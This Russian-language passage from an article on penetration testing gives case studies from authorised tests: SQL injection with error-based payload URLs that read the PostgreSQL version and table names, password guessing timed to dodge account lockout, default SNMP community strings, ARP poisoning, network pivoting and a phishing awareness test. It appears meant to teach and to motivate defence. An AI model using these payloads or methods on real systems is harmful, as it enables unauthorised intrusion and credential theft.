  4. Ответ проходит через proxy-сервер, который выделяет в нем два сообщения HTTP RESPONSE. Эти сообщения помещаются в кэш, причем первое сообщение связывается с модифицированным запросом, а второе, с заданным нарушителем контентом, – со страницей index.html.
  5. При дальнейшем обращении пользователей к странице index.html proxy-сервер извлекает из кэша сформированное нарушителем сообщение и возвращает его пользователю в качестве ответа Web-сервера.
  6. При обработке ответа браузером выполняется внедренный в сообщение программный код.
Уязвимость используется с теми же целями, что и межсайтовое выполнение сценариев.

Приложение 2. Примеры использования недостатков инфраструктуры

1. Получение учетных записей с помощью уязвимости в Web-приложении

При анализе Web-приложения была обнаружена уязвимость типа “Внедрение операторов SQL”, что позволило исследователю выполнять произвольные SQL-запросы, при этом результаты выполнения запроса выводились как часть сообщения об ошибке. Это позволило установить версию используемой СУБД.

Запрос:

http://<server>/?id=(1)and(1)= select cast(version() as numeric)--

Результат:

ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]"

Установив, что в качестве СУБД используется PostgreSQL, исследователь получил возможность построчного чтения списка таблиц данной СУБД.

http://<server>/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- http://<server>/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--

Обнаружив в этом списке таблицу с именем users, исследователь получил возможность построчного чтения ее полей. Результатом атаки стало получение списка имен пользователей данного приложения и соответствующих парольных хэшей.

2. Совместный перебор имен и паролей пользователей в Web-приложении

Проводился анализ Web-приложения, причем в соответствии с постановкой задачи, исследователю была предоставлена учетная запись обычного пользователя, при этом именем пользователя являлось уникальное шестизначное число. В приложении было реализован простой механизм противодействия автоматическому перебору: при трехкратном вводе неправильного пароля учетная запись пользователя блокировалась на 10 минут.

Предположив, что имя пользователя является его порядковым номером, исследователь организовал перебор учетных записей по следующему методу. Был выбран диапазон из 1000 номеров пользователей и словарь из 12 наиболее частых паролей. Для каждого номера выполнялось три попытки подбора пароля, после чего выбирался следующий номер. После окончания итерации делалась пауза до истечения времени блокировки первой учетной записи, и цикл повторялся со следующими тремя паролями. После четвертой итерации было успешно подобрано несколько учетных записи пользователей.

3. Подбор учетных записей Microsoft Exchange

В ходе теста на проникновение исследователем был обнаружении Web-интерфейс Microsoft Exchange. Обнаружив поиском в Google несколько адресов электронной почты из корпоративного домена заказчика, исследователь установил, что имена пользователей формируются из имен и фамилий сотрудников по простому правилу. В результате был организован перебор учетных записей по следующему методу. Были составлены словари наиболее распространенных имен и фамилий, на основе всех их сочетаний был сформирован словарь возможных имен пользователей. Перебор всех сочетаний этих имен и паролей из словаря Топ-10 также привел к получению нескольких учетных записей.

4. Получение доступа к сетевому оборудованию

В ходе теста на проникновение было проведено сканирование граничного сетевого оборудования заказчика. При сканировании выяснилось, что на нескольких маршрутизаторах был настроен сервис протокола SNMP, причем для доступа к сервису использовались стандартные значения community string: “public” и “private”. С помощью штатных возможностей протокола SNMP исследователю удалось скопировать конфигурационные файлы устройств, из которых были извлечены учетные записи администраторов. Для защиты паролей использовался слабый метод шифрования, что позволило восстановить несколько паролей. При дальнейшей проверке оказалось, что данные учетные записи используются на остальных сетевых устройствах, что позволило исследователю получить полный контроль над локальной вычислительной сетью и магистралью сети передачи данных заказчика.

5. Атака на рабочее место администратора

При внешнем сканировании инфраструктуры заказчика было обнаружено Web-приложение с уязвимостью тип «внедрение операторов SQL». После успешной эксплуатации уязвимости был получен контроль над Web-сервером. Оказалось, что данный Web-сервер развернут на рабочем месте администратора ЛВС и запущен с привилегиями LOCAL_SYSTEM. Полученных привилегий оказалось достаточно для получения полного контроля над операционной системой и получения учетной записи администратора, что в дальнейшем привело к установлению контроля над сетевым оборудованием.

5. Использование протокола CDP для исследования топологии сети

В примере 4 исследователем был получен доступ к одному из граничных маршрутизаторов и учетная запись сетевого администратора. При этом доступ к остальным сетевым устройствам ограничивался межсетевым экраном, блокировавшим как установление соединений по протоколам SSH и TELNET, так и возможность сканирования сетевой инфраструктуры.

Получив доступ к консоли управления маршрутизатором, исследователь получил возможность просмотра информации о соседних устройствах, получаемых маршрутизатором с помощью протокола CDP. Это позволило установить IP-адреса соседних устройств. Как оказалось, межсетевой экран не блокировал установление соединения по протоколу TELNET, если в качестве источника соединения использовался контролируемый исследователем маршрутизатор. Это позволило исследователю использовать встроенные средства Cisco IOS для доступа к консоли управления соседних сетевых устройств и получения контроля над ними.

7. Получение учетных записей с помощью атаки «человек посередине»

При проведении внутреннего теста на проникновение исследователю была предоставлена возможность подключить свой ноутбук к коммутатору гостевого сегмента ЛВС. При сканировании в этом же сегменте было обнаружено некоторое количество стационарных рабочих мест сотрудников заказчика, в том числе – рабочее место сотрудника технической поддержки. По согласованию с координатором работ была проведена атака «отравление кэша ARP», что позволило перехватить весь сетевой трафик между этим рабочим местом и шлюзом по умолчанию. Из трафика были выделены сообщения протокола NTLM, что позволило восстановить пароль сотрудника по его хэшу.

8. Исследование защищенности мобильных устройств

В ходе одного из публичных мероприятий, ориентированных на специалистов в области информационной безопасности, было проведено исследование поведения пользователей мобильных устройств. Исследователем была развернута точка доступа, допускающая свободное подключение и обеспечивающая свободный доступ к сети Интернет. При подключении мобильных проводился экспресс-анализ их защищенности, а также анализ проходящего через точку доступа сетевого трафика. Анализ показал, что большая часть мобильных устройств содержала уязвимости, потенциально позволяющих исследователю получить контроль над этими устройствами. В сетевом трафике было обнаружено большое количество конфиденциальной информации, в том – передаваемых в открытом виде паролей к различным ресурсам сети Интернет.

9. Атака на контроллер домена

После получения доступа к рабочей станции сетевого администратора (пример 5) было произведено сканирование серверного сегмента. На ряде серверов были обнаружена уязвимости высокого уровня критичности, в том числе – уязвимость CVE-2003-0352. Эта уязвимость известна с 2003 года, использовалась несколькими известными сетевыми червями (MSBlast, Welchia), к ней есть публично доступные эксплойты. После демонстрации результатов сканирования отсутствие обновления было подтверждено координатором работ без ее эксплуатации.

10. Атака на рабочие места пользователей с помощью массовой рассылки

В ходе теста на проникновение проводилось исследование уровня осведомленности пользователей. Заказчиком был предложен перечень сотрудников, в отношении которых проводилось исследование. На основании этого перечня был составлен список адресов электронной почты, по которому была отправлены письма с предложениемперейти по ссылке и посмотреть забавный видеоролик, касающийся деятельности организации заказчика. При переходе по ссылке в браузере пользователя выполнялся сценарий, который собирал и отправлял на сервер исследователя информацию, позволяющую идентифицировать версию браузера и дополнительных модулей к нему, а также уникальным образом идентифицировать рабочее место.
Результаты исследования показали, что около 40% пользователей перешли по присланной ссылке, при этом около 80% браузеров или дополнительных модулей к ним содержали различного рода уязвимости[8] . Часть пользователей вступила в переписку с исследователем, сообщив ему о некорректной ссылке и попросив прислать исправленный вариант.

Этот метод мог использоваться реальным нарушителем. В этом случае вместо сбора информации использовался бы эксплойт к одной из недавно опубликованных уязвимостей в браузере, а адреса электронной почты могли быть получены способом, описанным в примере 3.

 

1 “2009 Data Breach Investigations Report”, Verizon Buziness. 2009.
2 “Global Security Report 2010”, TrustWave SpiderLabs, 2010.
3 «Статистика уязвимости Web-приложений за 2008 год», Дмитрий Евтеев, 2009.
4 «Анализ проблем парольной защиты в российских компаниях», Дмитрий Евтеев, 2009.
5 Использование подобных паролей, хотя и в меньшей степени, характерно также для механизмов аутентификации операционных систем и приложений, в которых средства контроля сложности задаваемых паролей предусмотрены.
6 Для СУБД Oracle различных версий известно до 1000 стандартных сочетаний имени и паролей “технологических” пользователей.
7 Например, http://www.freerainbowtables.com/
8 Наличие уязвимостей определялось по версиям программ.

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!